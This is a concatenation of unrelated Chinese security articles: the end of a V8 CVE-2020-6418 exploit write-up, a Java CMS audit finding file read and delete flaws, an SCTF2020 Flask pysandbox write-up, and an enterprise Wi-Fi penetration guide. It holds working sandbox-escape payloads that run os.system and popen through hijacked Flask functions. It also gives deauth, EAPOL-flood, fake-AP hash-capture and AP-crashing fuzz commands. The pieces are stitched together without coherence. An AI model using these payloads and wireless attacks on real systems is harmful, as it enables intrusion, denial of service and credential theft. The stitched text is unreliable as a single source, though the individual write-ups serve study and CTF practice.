// compiler/js-call-reducer.cc:3519
Reduction JSCallReducer::ReduceCallOrConstructWithArrayLikeOrSpread(
...
// 如果优化的函数已经是最外层函数中的函数
// Check if are spreading to inlined arguments or to the arguments of
// the outermost function.
Node* outer_state = frame_state->InputAt(kFrameStateOuterStateInput);
if (outer_state->opcode() != IrOpcode::kFrameState) {
Operator const* op =
(node->opcode() == IrOpcode::kJSCallWithArrayLike ||
node->opcode() == IrOpcode::kJSCallWithSpread)
? javascript()->CallForwardVarargs(arity + 1, start_index) // 转换成JSCallForwardVarargs结点
: javascript()->ConstructForwardVarargs(arity + 2, start_index);
NodeProperties::ChangeOp(node, op);
return Changed(node);
}
...
NodeProperties::ChangeOp(
node, javascript()->Construct(arity + 2, frequency, feedback)); // 否则转换成JSConstruct结点
Node* new_target = NodeProperties::GetValueInput(node, arity + 1);
Node* frame_state = NodeProperties::GetFrameStateInput(node);
Node* context = NodeProperties::GetContextInput(node);
Node* effect = NodeProperties::GetEffectInput(node);
Node* control = NodeProperties::GetControlInput(node);
所以需要在最外面加一层`main`函数，绕过这个点，从而触发漏洞。
## 总结
通过应急响应这个`cve-2020-6148`漏洞，对于类型混淆漏洞原理进一步掌握，也是对于`pointer
compression`的进一步理解，也是对于新的内存机制下`v8`漏洞利用的学习，一举多得。
相关文件以及代码[链接](https://github.com/ray-cp/browser_pwn/tree/master/cve-2020-6418)
## 参考链接
1. [Pointer Compression in V8](https://blog.infosectcbr.com.au/2020/02/pointer-compression-in-v8.html)
2. [V8 release v8.0](https://v8.dev/blog/v8-release-80)
3. [Compressed pointers in V8](https://docs.google.com/document/d/10qh2-b4C5OtSg-xLwyZpEI5ZihVBPtn1xwKBbQC26yI/edit#heading=h.x1cv1fi5g42q)
4. [Reflect.construct()](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Reflect/construct)
5. [Stable Channel Update for Desktop](https://chromereleases.googleblog.com/2020/02/stable-channel-update-for-desktop_24.html)
6. [Trashing the Flow of Data](https://googleprojectzero.blogspot.com/2019/05/trashing-flow-of-data.html)
7. [BigUint64Array](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/BigUint64Array)
8. [fb0a60e15695466621cf65932f9152935d859447](https://chromium.googlesource.com/v8/v8/+/fb0a60e15695466621cf65932f9152935d859447)
9. [Fix bug in receiver maps inference](https://chromium-review.googlesource.com/c/v8/v8/+/2062396)
10. [Security: Incorrect side effect modelling for JSCreate](https://bugs.chromium.org/p/chromium/issues/detail?id=1053604)
11. [A EULOGY FOR PATCH-GAPPING CHROME](https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping/)
* * * | 社区文章 |
**前期**
前段时间做的东西属实是有点偏难不友好。这几天静下心来继续弄点稍微简单的。就直接进行审计把。不说那么多，环境部署好了，开干。
说一下我审计的前提准备。过滤器是一定要看的。当然才开始审计的时候可能会看的比较恼火，看不懂当我没说。简单的还是要看一下。涉及到一些函数处理的可以等到实际挖洞的时候再跟也行。然后就是cms的整个架构，哪个模块对应什么功能都是需要了解的比较透彻。涉及框架的，框架的漏洞涉及的组件要清楚，框架的配置文件再看看。就开冲。
才开始代码审计，还是每个接口都看一下。老规矩。
**开始**
注册接口审计
注册流程分析
（1）判断是否登录，登录以后就跳出注册页面
（2）判断是否验证码为空或者错误则返回并告知验证码出错（验证码为刷新可暴力破解用户名枚举）
（3）邮箱格式判断
（4）判断用户名，密码格式是否正确
（5）判断邮箱用户id是否存在，存在就返回已存在。否则就进行注册
（6）预编译进行sql插入。
这样子分析下来，也只能做个用户名和注册邮箱枚举了，放两个个sql处理的关键的图，主要是看这里拼接出了预编译。
**登录接口审计**
登录接口审计，没啥大问题，放几张图。
这里有个小问题就是任意跳转，不过要登录成功了才行。可以看看代码。
**任意跳转**
这里获取了传入的pre_page做判断，如果登录成功就重定向过去。burp抓包也能看到。
前台不要浪费太多时间先，直接冲后台
这种要养成习惯，这种权限相关的要做个笔记，万一有机会绕过呢。usertype=1是登录后台的权限设置。
**文件上传分析**
找到一处文件上传的地址，看看
这种url的也要看看，说不定有ssrf
这里是得到系统的路径，暂时我们是不可控的
看一下对文件名是怎么处理的
（1）文件路径做更改，前面有个append的路径添加进去了（都是写死的，暂时不用太关注）
（2）对文件进行重命名
文件重命名分析
（1）判断文件是否存在
（2）判断新的路径的文件是否存在，不存在就创建（注意到这里我们的文件路径都是不可控的）(因为这里是先上传保存，再进行处理删除，所以说这里存在竞争，但是实际是利用不了的，后续可以看。)
（3）获取源文件名。（未对源文件名做处理）
（4）判断并截取了文件的后缀。{后缀名：fileExt 文件名originalFileName}
（5）对文件名做了时间+随机数处理
（6）重新生成了一个文件对象，并返回。
看一下这里
先创建了临时路径，然后再上传了我们的传入文件，此时还是没有改名的。也就是说如果我们可以访问，那么就存在竞争了。（当然前面也很体贴的帮我们看了能不能有写权限）(最后发现这个目录下如果访问jsp,jspx就直接404了)
找了一下过滤器，发现。。。。。。。。jsp ,jspx都不能直接访问。
保存的时候还是不出意外的做了预编译。跟到这里流程差不多了，但是我们好像没有发现对后缀进行了处理。试一试直接上传jsp
出现了问题,跟一下看看，是在 ((MultipartRequest)request).getFiles();未获取到。限制了jsp和jspx不能上传。
暂时放一下。如果是apache的话还能上传配置文件，windows$DATA流试了一下没成功。
**SQL简单分析**
上传暂时放弃一下，看一下有没有注入，预编译虽然比较多，但是我们知道limit，orderby后面是不能预编译的。先放一个跟出来的sql检查。
说一下这个下断点跟就行了，没有太多的技术要求，主要还是看代码。（看一下过滤的，果断猜测xss过滤也是在这里。如果最后拿不下shell，能出几个xss钓cookie也还是勉勉强强吧。）
先看第一处，因为才开始顺手一点，发现这里确实是直接拼接的，但是因为获取的整数类型，传入payload类型不对所以直接报错了。（这里也要注意，不要看到直接拼接就下断定有。推荐一个工具
seay的mysql监控工具，可以看的很直观）
**模块文件读取**
看一下模块这里，这里现在是继承者全村大半人的希望了，如果没有出东西，最后还是要去看看有没有注入啥的能不能getshell。这里的路径表面看起来是直接传的
emm，path做了个正则处理。过滤了..然后如果还有..就直接无了。
所以这里不能做路径穿越穿出去，但是好像没有对路径做限制，只限制了不能读取config和几个路径。所以这里应该是有问题的。并且他默认是往根目录去读取。
比如这里，都出来了web-inf/lib目录下的包。
尝试看看读取文件，这里只给了文件的信息，没有给内容。那也就是说没有太大的卵用。
然后高潮就来了，他这个模块的功能有点多。还能进行下载，重命名等。本身目录放在根目录，岂不是看到了希望的曙光，要是能读个数据库密码啥的也是不需此行，试一下。只能说不负众望。
**模块文件删除**
不要急，一般这种造成的都会有连坐，比如任意文件删除（只限制再web目录）。（这里怕把系统整坏了，就新建一个文件然后删除）
成功了。其他的功能如替代等这一种不是很想尝试，因为他限制了不能直接访问jsp,jspx也就是直接写马不行的。传配置文件的方式我们上传就能直接解决不需要这么麻烦。
系统都是一些配置编辑的功能，没有特别的新的。
因为还有sql哪些没有审计，所以说不一定拿不到通用shell（apache的话上传配置文件可以拿）。大半天这次只出了一个文件读取和文件删除，能够读取数据库配置文件还是有一定的危害。主要是审计思路的多多练习，和审计习惯的锻炼。 | 社区文章 |
# sctf2020 pysandbox 1&2 分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前置知识
### flask处理流程
flask的很多功能是建立在 Werkzeug 之上的 ,根据WSGI接口,实现了_ _call__ ,没当有请求进入,边会调用这个方法
跟进来，在这里建并推送请求上下文,然后调用full_dispatch_request处理请求
在这个函数中调用了 preprocess_request（）方法对请求进行预处理（ request preprocess ing), 这会执行所有使用
before_request 钩子注册的函数。 接着，请求分发的工作会进一步交给 dispatch_request（）方法
最后接收视图函数返回值,使用finalize_request方法生成响应,在视图函数中,使用Werkzeug
的路由类处理url,根据处理结果,调用view_functions的视图函数执行
### 路由系统
Werkzeug 提供的路由类,会根据url和rule规则,返回endpoint值和参数字典
### 上下文对象
def _lookup_req_object(name):
top = _request_ctx_stack.top
if top is None:
raise RuntimeError(_request_ctx_err_msg)
return getattr(top, name)
def _lookup_app_object(name):
top = _app_ctx_stack.top
if top is None:
raise RuntimeError(_app_ctx_err_msg)
return getattr(top, name)
def _find_app():
top = _app_ctx_stack.top
if top is None:
raise RuntimeError(_app_ctx_err_msg)
return top.app
# context locals
_request_ctx_stack = LocalStack()
_app_ctx_stack = LocalStack()
current_app = LocalProxy(_find_app)
request = LocalProxy(partial(_lookup_req_object, "request"))
session = LocalProxy(partial(_lookup_req_object, "session"))
g = LocalProxy(partial(_lookup_app_object, "g")
Flask 提供了两种上下文,请求上下文和程序上下文,
这两种上下文分别包含 request ,session
和 current_app , g 这四个变量 ， 这些变量是实际对象的本地代理（ lo ca l proxy），因此被称为本地 上下文（ context
locals ） 。
LocalStack是Werkzeug 提供的 Local Stack 类,
我们在程序中从 flask 包直接导人的 request 和 session 就是定义在这里的全局对象，这两个对象是对实际的 reques t 变量和
session 变量的代理
当请求进入时,被作为 WSGI 程序调用的 Flask 类实例（即我们的程序实例 app）会在 wsgi_app（）方法中调用
Flask.requestst _context() 方法。 这个方法会实例化 RequestContext 类作为请求上下文对象，接着
wsgi_app（）调用它的
push（）方法来将它推入请求上下文堆栈,_request_ctx_stack中存放着所有的请求,我们在flask中使用的全局变量
request,实际是通过代理指向Local Stack 栈顶的一个指针
## 分析
from flask import Flask, request
app = Flask(__name__)
@app.route('/', methods=["POST"])
def security():
secret = request.form["cmd"]
for i in secret:
if not 42 <= ord(i) <= 122:
return "error!"
exec(secret)
return "xXXxXXx"
if __name__ == '__main__':
app.run(host="0.0.0.0")
ban了’,”,(,)
pysandbox被非预期了
cmd=app.root_path[0:1]%2bapp.name[0:3]
设置静态目录就可以直接读flag,我们分析怎么rce
### bypass 引号
没有引号不能引入字符串,我们可以通过`[].__doc__[0]`这种形式拿到部分字符,但是有的字符构造不出来
可以通过request.form[`[].__doc__[0]`],然后POST提交B,既可引入所有需要的字符
### bypass 括号
**思路一**
括号没了，就不能直接执行函数了，但是在
exec中是可以直接访问到程序的上下文的，并且根据刚才对flask执行流程的分析，我们知道每次请求进入和弹出，改变的只有请求上下文和程序上下文，所以我们可以通过对flask流程中调用的函数的劫持，达到执行函数的目标
我们可以把flask中会调用的函数劫持成eval等威胁函数，但是这个函数的参数必须是我们可以控制的，
def full_dispatch_request(self):
self.try_trigger_before_first_request_functions()
try:
request_started.send(self)
rv = self.preprocess_request()
if rv is None:
rv = self.dispatch_request()
except Exception as e:
rv = self.handle_user_exception(e)
return self.finalize_request(rv)
rv是视图函数的返回值，我们可以通过劫持视图函数控制，我们把finalize_request函数劫持成eval,最后pyload
// post
cmd=app.view_functions[request.form[[].__doc__[1]]]=lambda:request.form[[].__doc__[0]];app.finalize_request=eval&u=security&B=__import__('os').system('ls')
即可执行任意命令
若是想获取回显，可以
// post
cmd=app.view_functions[request.form[[].__doc__[1]]]=lambda:request.form[[].__doc__[0]];app.view_functions[1]=app.finalize_request;app.finalize_request=eval&u=security&B=self.view_functions[1](eval("__import__('os').popen('ls').read()"))
先把原来的finalize_request处理函数存入app.view_function字典，然后在执行返回response对象
**思路二**
直接劫持ord 绕过过滤，进行任意命令执行,空格被ban了可以用剩下的字符fuzz一下,发现*也可以使用
// post
cmd=__builtins__[request.form[[].__doc__[0]]]=lambda*x:42&B=ord
然后就是没有任何过滤的命令执行了,可以继续用上面的方法执行命令,获取回显
这个思路也可以引申一下，如果是
from flask import Flask, request
app = Flask(__name__)
def waf(content):
if 'import' in content:
return False
else:
return True
@app.route('/', methods=["POST"])
def security():
secret = request.form["cmd"]
if waf(secret):
exec(secret)
return "xXXxXXx"
else:
return "error"
if __name__ == '__main__':
app.run(host="0.0.0.0")
可以这样解锁限制
app.view_functions['security'].__globals__['waf']=lambda*x:1
刚刚劫持的函数都在app变量下，所以可以直接访问，要是变量不在当前作用域呢，我们可以通过eviloh师傅tokyowestern 2018年
shrine的找继承链脚本，通过继承链访问
import flask
import os
from flask import request
from flask import g
from flask import config
app = flask.Flask(__name__)
app.config['FLAG'] = 'secret'
def search(obj, max_depth):
visited_clss = []
visited_objs = []
def visit(obj, path='obj', depth=0):
yield path, obj
if depth == max_depth:
return
elif isinstance(obj, (int, float, bool, str, bytes)):
return
elif isinstance(obj, type):
if obj in visited_clss:
return
visited_clss.append(obj)
print(obj)
else:
if obj in visited_objs:
return
visited_objs.append(obj)
# attributes
for name in dir(obj):
if name.startswith('__') and name.endswith('__'):
if name not in ('__globals__', '__class__', '__self__',
'__weakref__', '__objclass__', '__module__'):
continue
attr = getattr(obj, name)
yield from visit(attr, '{}.{}'.format(path, name), depth + 1)
# dict values
if hasattr(obj, 'items') and callable(obj.items):
try:
for k, v in obj.items():
yield from visit(v, '{}[{}]'.format(path, repr(k)), depth)
except:
pass
# items
elif isinstance(obj, (set, list, tuple, frozenset)):
for i, v in enumerate(obj):
yield from visit(v, '{}[{}]'.format(path, repr(i)), depth)
yield from visit(obj)
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
for path, obj in search(request, 10):
if str(obj) == app.config['FLAG']:
return path
if __name__ == '__main__':
app.run(debug=True) | 社区文章 |
# 0x00 企业级无线渗透
* * *
> 注：
> 这篇文章里我详细说一下针对企业802.1X的安全解析，还有一些针对数据协议的分析方法和浅析关于个人渗透太多太啰嗦我就不写了，有机会在说。
> 因为我不想一部分一部分的写，所以索性就把三个内容写在了一起，如果大家觉得那里有问题，欢迎指正与交流。
## 一．关于网卡
工欲善其事，必先利其器。在无线渗透或者是无线攻击中，并不是任何支持linux的网卡都支持无线工具的。推荐过一款网卡
：‘AWUS036H’我用过这款网卡，是RT8187芯片的。确实不错，完美的支持工具。当然，也可以选用RTL3070芯片。
其实除了不兼容工具外，选好网卡还有个很重要的因素就是质量问题，质量不好的可能不稳定，造成断开，或者是蓝屏，嗅探抓包时出现丢包等状况。
## 二．企业级无线渗透
互联网企业里只要有一定规模的公司，一般无线架设都会选用Radius。WPA+Radius应该算是标配了。
这是一个简单的Radius的工作原理图，我画图画不好，就弄个简单的，复杂的也不一定有人看，能表示就行了。
在个人无线网设置里面会有一些让我们选择认证机制和加密方式（WPA-WPA2 TKIP-AES CCMP）等
。在802.11X中也有一些认证机制，最多使用的是基于TLS的身份验证。TLS是出自IETF组织。就跟802.11出自IEEE一个道理。现在有三种标准被开发并被部署到了无线网中。
1. EAP-TLS : EAP传输层安全
2. EAP-TTLS : 隧道传输层安全
3. EAP-PEAP : 受保护的PEAP
EAP是一个802.1x认证的协议。EAP给802.1X提供了一个验证框架，是一个可扩展性协议，支持多种验证方式。
EAP在企业WPA-802.11X的认证方式（果然还是老外的图易懂）：
802.1X协议是在第二层，上一层是EAP。EAP上一层是各种认证方法，最底层是802.11（图不画了。请君脑补。）
整个EAP通信，包括EAP的协商都是通过TLS隧道执行。
上面刚刚列举了三种现在常用的机制，其实认证机制有好多，什么Leap，eap-MD5等等....最火的就是这三种。
因为本身EAP是没有保护的，它的EAP-Identity明文显示，EAP-Success等信息被仿冒或抓取：
**（1）** EAP-TLS：它是一个双向认证的机制，Server与client之间完成的认证。它哪里都好，就是两个缺点致命：（1）是传输用户名用的是明文可以抓到（2）是他要求企业部署PKI，因为它基于这个证书体系。但是PKI太庞大太复杂了。所以....
**（2）** EAP-TTLS&&PEAP：因为上面的那个缺陷,所以有了EAP-TTLS，这两个可以放在一起说，就像是WPA/WPA2
相似度很高。它们也要证书，不过是要Server端的而不是Client的。这两个相比，还是peap从各个方面来说方便，而且兼容好。所以企业一般都是PEAP。
EAP需要进行保护，EAP协商就在安全隧道（TLS）内部来做，保证所有通信的数据安全性。那么它在内部也会选择一些认证来：【EAP-MS-CHAPv2】【EAP-GTC】
这是WPA/WPA2允许的两个PEAP子类型。企业使用最多的就是第一种域架构【EAP-MS-CHAPv2】。说了这么多，可能公司企业无线部署是这样情况的能明白，没遇到种架构的可能比较难脑补。我给几张图：
就是这样的，一般情况下，用你的域账号登陆进去，就可以连接你公司的无线网络了。
### 关于MSCHAPV2
其实在MSCHAPV2之前是有个MSCHAPV1版本的，是因为前者安全性的加密和认证都比后者好而把它取代。
在PEAP-MSCHAPV2认证流程中呢，会有一些Server与client的交互，这里面包含了EAP-Respons/Identitye和challenge字符串。在PEAP的保护下，因为它们的认证是在内部TLS隧道里，所以我们很难直接对MSCHAPV2做什么手脚，但是MSCHAPV2爆出了漏洞可被暴力破解。所以我们就可以对它进行fake
AP从而取得它们的hash。
如果没有验证服务器的TLS证书.那么通过模拟的AP，攻击者就可以诱骗客户连接到恶意接入点，并获得客户的内部认证。很遗憾，上面已经说过了pki的问题。就这样，黑客就进入到了你的企业域。具体的攻击方式呢，就是利用
hostapd-wpe这个工具。它替代了freeradius-wpe.
Github：<https://github.com/OpenSecurityResearch/hostapd-wpe>
支持EAP的类型：
1. EAP-FAST/MSCHAPv2
2. PEAP/MSCHAPv2
3. EAP-TTLS/MSCHAPv2
4. EAP-TTLS/MSCHAP
5. EAP-TTLS/CHAP
6. EAP-TTLS/PAP
当我们建立伪AP的同时，会产生两个相同的SSID。如果我们是指定目标攻击，而我们我目标已经连上了正常的无线网络，那我们可以对此SSID进行Deauth攻击，使其强制断线重连到我们的Fake
AP。
命令: `aireplay-ng -0 10 –a <ap mac> -c <my mac> mon0`
当目标连接到我们的Fake AP 上时：
这是抓取到的hash。你所有抓取的hash都在 hostapd目录下的一个名为host-wpe.log的文件内。
当我们抓到这些hash以后，需要破解它，可以用asleap破解密码。Kali内置了好像。也可以自己去github。
可能有的人觉得，一个暴力破解，关键还是要看字典，密码设置的复杂就没有关系。但是大家有没有想过，一个无线架构在radius的企业，我假设它有2000人。2000人中我保守一点估计抓了1000的人hash。难道我连1000/5的概率都没有么？更何况无线其他攻击也很多,拿到几个域账号根本没难度。组合攻击的手法还是不容小觑的。
### EAP-MD5
还有一种认证是EAP—MD5，这个可能现在见不到了，不过应该也有吧，凡事不绝对，遇到了就简单提一下，它的认证我就不说了，其实也没什么可说的，没安全性可言，数据不受ssl保护，只有个MD5，只提供了最低级加密，MD5hash能被字典破掉，而且不支持密钥生成，所以就根本不适合企业加密。我也不知道这是谁想出来的，可能开发这个加密的时候还没无线安全呢吧。抓包就能抓出来。
这是一个在连接了EAP-MD5认证的AP。通过抓包我们直接可以看到了它的challenge.
我们把他们通讯的整个过程抓下来。就像WPA/WPA2的握手包一样。捕获数据包之后，有一个专门针对EAP-MD5的破解工具叫做：eapmd5Pass。
使用方法也简单:
eapmd5pass -r <握手包文件名> -w <字典>
### LEAP
Cisco的东西。叫轻量级EAP，特点也是数据不受SSL保护，用的是MS-CHAPV1，也就是我上面说的那个第一个版本。这就更别说了，还不如个WEP，03年就能黑了。
### EAP-FAST
LEAP的升级版，有个受保护的访问凭证（PAC）在TLS端验证，说也是有漏洞，但是我对这个加密接触不是太多，也没遇到过，可能见识短吧，大家有遇到的可以交流交流，但是估计也没啥价值。
LEAP的破解方法也是捕获四次握手，然后暴力破解。具体方法见上面都一个道理。简单的东西不多说.
针对一些高复杂的密码呢，我们可以去试试John the Ripper。 也叫JTR，也不错。支持的算法也多：
<https://github.com/magnumripper/JohnTheRipper>
在我们针对一个未知的不了解的企业热点进行渗透时，我们需要事先清楚它是采用什么加密，我们可以通过wireshark过滤一下类型：
也算个小技巧，受用。
顺便再贴一个MDK3关于802.1X的攻击方法。
mdk3 mon0 x
0 - EAPOL Start packet flooding #EAPOL格式的报文洪水攻击
-n <ssid>
-t <bssid> #目标客户端的mac地址
-w <WPA type>
Set WPA type (1: WPA, 2: WPA2/RSN; default: WPA)
-u <unicast cipher>
Set unicast cipher type (1: TKIP, 2: CCMP; default: TKIP)
-m <multicast cipher>
Set multicast cipher type (1: TKIP, 2: CCMP; default: TKIP)
-s <pps> #速率，默认400
1 - EAPOL Logoff test #注销认证攻击
-t <bssid> #目标客户端的mac地址
-c <bssid> #目标ap的合法客户端mac
-s <pps> #速率，默认400
`MDK3 X 1 -t <目标mac地址> -c <客户端mac地址>`
再推荐个工具吧：3vilTiwnAttacker
老外写的一款做无线劫持，嗅探为一体的工具。新出的，觉得不错大家可以试试。
<https://github.com/joridos/3vilTiwnAttacker> 里面附带演示视频
其实呢，我觉得吧，大家如果是真想研究的话呢，不妨去自己下载个FreeRadius去研究下。
<http://freeradius.org/>
买个路由器，一般里面都有设置Radius的选项，没用的也可以刷个固件。虽说安装环节有点慢，但是真能学到很多东西，我本来是想把每一步涉及到Radius的设置和配置文件说一下的，无奈学校上网客户端的限制我安不了路由器，悲催了，以后再说吧。
还有一个关于企业wifi的backdoor，worm的一个思路，我放个pdf大家有兴趣的看下：
<http://www.securitybyte.org/resources/2011/presentations/enterprise-wi-fi-worms-backdoors-and-botnets-for-fun-and-profit.pdf>
### 关于防御策略
前些日子我看了一篇文章：
[http://drops.wooyun.org/wireless/15269?from=timeline&isappinstalled=0](http://drops.wooyun.org/wireless/15269?from=timeline&isappinstalled=0)
很巧合的是，这个作者是我去年暑假实习时候的同事。ID换了，不过给了微博，微博ID是没换的。
他在里面提出了关于证书机制的缺陷。确实如此，但是这个东西做起来是个繁琐的工程。就算解决了这个，也会有别的攻击可以破坏到无线网络。不如我们去开发一些策略去全面保护无线网络。其实我也是近期才想到了一些，我只把简单的想法说一下，还并没有什么实体化的东西做出来，有兴趣的咱们也可以聊聊。
1.因为无线网络的特殊性，我们去真正检测一个攻击行为是否真实存在时，多少会有一些误差。简单例子：
这个客户端对这个 AP发起了Deauth 攻击，那我该将它判定为洪水还是捕获握手包？
因为Deauth包是使其AP断线重连捕获数据的。一个是DOS攻击，一个是密码威胁。还有就是，我如果输错了几次密码是不是也会报警？
所以这些都是问题，这个参数很难去设置。我曾经想过去计算他们之间正常差值然后把精确度提到最高，但是还是觉得不够好，我只能从数据变化和流量方面去做，因为后面它是离线攻击。
还有，企业问题一般员工建个私人热点，一旦被攻破，那也是很严重的一件事，所以这方面的意识还是要去培养。
2.还有一种就是针对伪AP的这种。
如上图，我们可以用一些mac地址的策略去识别这些‘fake AP’。
有款工具叫做“Airdrop-ng”它开始是个‘Deauth’工具，但是后来被用于做了IPS。真应了那句话：‘工具是把双刃剑，看你怎么使用它.’
Airdrop的玩法很多，也能有蜜罐的效果哦。具体可以参照：
<https://github.com/aircrack-ng/aircrack-ng/tree/master/scripts/airdrop-ng>
功能差不多就是一个黑白名单的机制，根据自己的要求可以写一些规则。
有个老外写了个IDS，不过针对个人的地方比较多，但也可以借鉴下。
<https://github.com/SYWorks/waidps>
这哥们脑洞挺大的，以前写过一个针对WPA无client的破解脚本。当然了，还是跟条件有关系的东西，但是人家能想到也确实比咱们强，不服也是不行的。
我心里也是有一些针对其他攻击的规则但不想说了，因为还需要完善，不过我觉得应该挺有用，等真正没问题的时候再发吧。
# 0x01 无线数据分析
* * *
说一些数据分析吧，802.11 有好几个标准，像什么802.11g 802.11n
等等之类的，不同的标准对应着不同的频道。分析数据肯定是避免不了的，况且无线就是协议的东西。
我就简单说一下常见的，时常用到的。就算你不分析，起码遇到了能看懂不是。
802.11数据包有三种类型。
1. 管理数据包：认证：authentication 关联：association 信号：beacon
2. 控制包：是一些请求用的基本上
3. 数据包：这里面是一些有用的，通信数据什么的。
也许有人听过有个叫beacon包的东西，其实最重要的东西也就是这个，beacon里面包含了一些AP功能、信息网络名称、配置、安全信息等等东西。所以MDK3里面也有个模式叫做Beacon
flood的模式。
这不是完整的数据，只是其中一部分，它的头部的‘type’定义为beacon。它是作为一个广播数据包由wap发送。
这不是全部的，简单点我们可以看出的信息有：它的头部给它定义的类型为:Beacon. 设备信息是：Huawei.
MAC地址之类的。下面可以看出SSID的名称。用的802.11B协议。工作11信道。
也可以通过分析得知AP与站点是否加密一致：
先看下 Authentiction数据中的 Authentiction Algorithm：open System（0）数值是否为0
，则说明并非Shared加密模式，而是Open加密或WPA加密。和下面的Beacon数据中的数值是否为（1）来判定是否启用加密。AP与STA的认证一致。
当然加密还有别的。只举一例了。
还有就是关于DOS攻击的分析，这个更简单了，DOS攻击很多，什么beacon flood Authentication DoS
Deauthentication/Disassociation 等等。。 就拿Authentication Flood 举个例子吧。
从type类型和请求可以看出是什么样的攻击类型 **（Authentiction）** 。
* **Destination address：被攻击的AP MAC**
* **Source address：源MAC （也可能是伪造的client Mac）**
其他类型的攻击也大体差不多，稍有出入相信大家也能辨别。
还有就是针对于802.11 无线信道和频率的
信道 | 中心频率（MHZ）
---|---
1 | 2412
2 | 2417
3 | 2422
4 | 2427
5 | 2432
6 | 2437
7 | 2442
8 | 2447
9 | 2452
10 | 2457
11 | 2462
12 | 2467
13 | 2472
这就是只显示10信道的数据。
其实无线数据里面头疼的也就是它的封包结构，控制帧、管理帧、数据帧。全都弄懂真心不容易。我现在也还在学习中，如果是简单分析是用不太多这些东西的。我给大家提供一些802.11的type与subtype类型。方便大家对照
还有一些wireshark的过滤参数：
这个不全，老外整理了一篇 集 过滤参数、802.11模型和数据值解释为一体的pdf：
<http://www.willhackforsushi.com/papers/80211_Pocket_Reference_Guide.pdf>
我觉得超级牛B，新手看也容易懂。
如果大家想分析指定的AP包的话，可以
p21
我们也可以分析下握手包，下面以Wpa为例，
因为WPA-psk
（个人版）在STA和ap建立数据后使用了EAPOL协议处理用户登录认证。然后由四次握手组成。支持WPA的AP工作时候呢，如果客户端里面有Radius服务器的话就用802.1X认证。要没有就用psk的方式认证。上面是第四次握手中抓到的数据，别的都好懂，这个MIC我说一下，这个值是最后握手成功的一个重点。
在认证过程中，SSID和password使用特定的算法产生这个PSK。
那么客户端接收到AP发来的信息后也会用这个算法产生PSK。然后这两部分分别用算法进行认证，最后会提取到一个MIC KEY 。STA和AP的MIC KEY
如果相等，他们就成功，如果不等就失败。
基本上这些都是一些常用的或者是重点。，但还有好多没写到。因为学校的网络环境不支持太多。如果你正好用到用也可私我，我可以把我知道的全部free。写的有点驴唇不对马嘴.因为802.11协议的东西太多太繁琐.我也有点抓不住重点了.对不住各位了。
再延伸一点知识，关于 802.11 fuzzing 的东西。
现在Fuzzer是很流行的一种挖掘漏洞手段，不管是在web还是其他安全，fuzz现在都很热，但是无线fuzz以前火过，最近好像没啥动静了。资料更是少之又少。简单提一下。
借老外的一张图吧：
老外这张图表示的是一个底层。它可能表示的意思就是一个溢出fuzz。
分别是类型，长度，和信息值，OCtets 定义了长度和Element ID为1（bit）
我们都知道FUZZ的原理就是尝试协议各种奇葩数据看看协议有没有考虑到，我可以给它定义一个自定值，如果客户端没有处理的话就会出现内核破坏类的漏洞。
所以，在802.11里面最常见的Fuzz就从SSID入手。例如这个，你可以针对它的Bytes自己去设置fuzz
其实跟溢出的解释差不多吧。其实最初的办法也就是投放大量的ssid，如果超出了其长度，来实现崩溃。等还有一些其他的CVE，是跟无线驱动程序有关的。
有人开发过一个关于802.11堆栈的fuzz脚本叫wifuzz。
<https://github.com/0x90/wifuzz>
它利用的Scapy包生成的。所以环境要下载Scapy
先要用airmon-ng把网卡监听一下。
下面的参数对应着攻击类型。
$ sudo python wifuzz.py -s admin auth
Wed Sep 28 10:38:36 2011 {MAIN} Target SSID: admin; Interface: wlan0; Ping timeout: 60;PCAP directory: /dev/shm; Test mode? False; Fuzzer(s): auth;
Wed Sep 28 10:38:36 2011 {WIFI} Waiting for a beacon from SSID=[admin]
Wed Sep 28 10:38:36 2011 {WIFI} Beacon from SSID=[admin] found (MAC=[00:aa:bb:cc:dd:ee])
Wed Sep 28 10:38:36 2011 {WIFI} Starting fuzz 'auth'
Wed Sep 28 10:38:36 2011 {WIFI} [R00001] Sending packets 1-100
Wed Sep 28 10:38:50 2011 {WIFI} [R00001] Checking if the AP is still up...
Wed Sep 28 10:38:50 2011 {WIFI} Waiting for a beacon from SSID=[admin]
Wed Sep 28 10:38:50 2011 {WIFI} Beacon from SSID=[admin] found (MAC=[00:aa:bb:cc:dd:ee])
Wed Sep 28 10:38:50 2011 {WIFI} [R00002] Sending packets 101-200
Wed Sep 28 10:39:04 2011 {WIFI} [R00002] Checking if the AP is still up...
Wed Sep 28 10:39:04 2011 {WIFI} Waiting for a beacon from SSID=[admin]
Wed Sep 28 10:39:04 2011 {WIFI} Beacon from SSID=[admin] found (MAC=[00:aa:bb:cc:dd:ee])
Wed Sep 28 10:39:04 2011 {WIFI} [R00003] Sending packets 201-300
Wed Sep 28 10:39:18 2011 {WIFI} [R00003] Checking if the AP is still up...
Wed Sep 28 10:39:18 2011 {WIFI} Waiting for a beacon from SSID=[admin]
Wed Sep 28 10:39:19 2011 {WIFI} Beacon from SSID=[admin] found (MAC=[00:aa:bb:cc:dd:ee])
Wed Sep 28 10:39:19 2011 {WIFI} [R00004] Sending packets 301-400
Wed Sep 28 10:39:42 2011 {WIFI} [R00004] recv() timeout exceeded! (packet #325)
Wed Sep 28 10:39:42 2011 {WIFI} [R00004] Checking if the AP is still up...
Wed Sep 28 10:39:42 2011 {WIFI} Waiting for a beacon from SSID=[admin]
Wed Sep 28 10:40:42 2011 {WIFI} [!] The AP does not respond anymore. Latest test-case has been written to '/dev/shm/wifuzz-eK97nb.pcap'
Admin就是SSID名 用的auth的FUzz。到最后的时候发现已经崩溃了
Wed Sep 28 10:40:42 2011 {WIFI} [!] The AP does not respond anymore. Latest
test-case has been written to '/dev/shm/wifuzz-eK97nb.pcap'
Wifuzz可以自己进行检测Bacon frame，会假定目标已经崩溃，然后生成一个pacp来重现崩溃。
其实在Metasploit里面也内置了一些fuzzer的脚本。要想在Metasploit进行fuzz的话，要安装一个lorcon2模块。这个模块是专门用于无线注入的。Google把代码撤了。如果想自己安的话，环境变量要自己设置.
自己airodump一个STA 的mac。因为是Beacon fuzz，它要制出大量的ssid。
可以看下该频道的ESSID。 这就证明开始fuzz了。
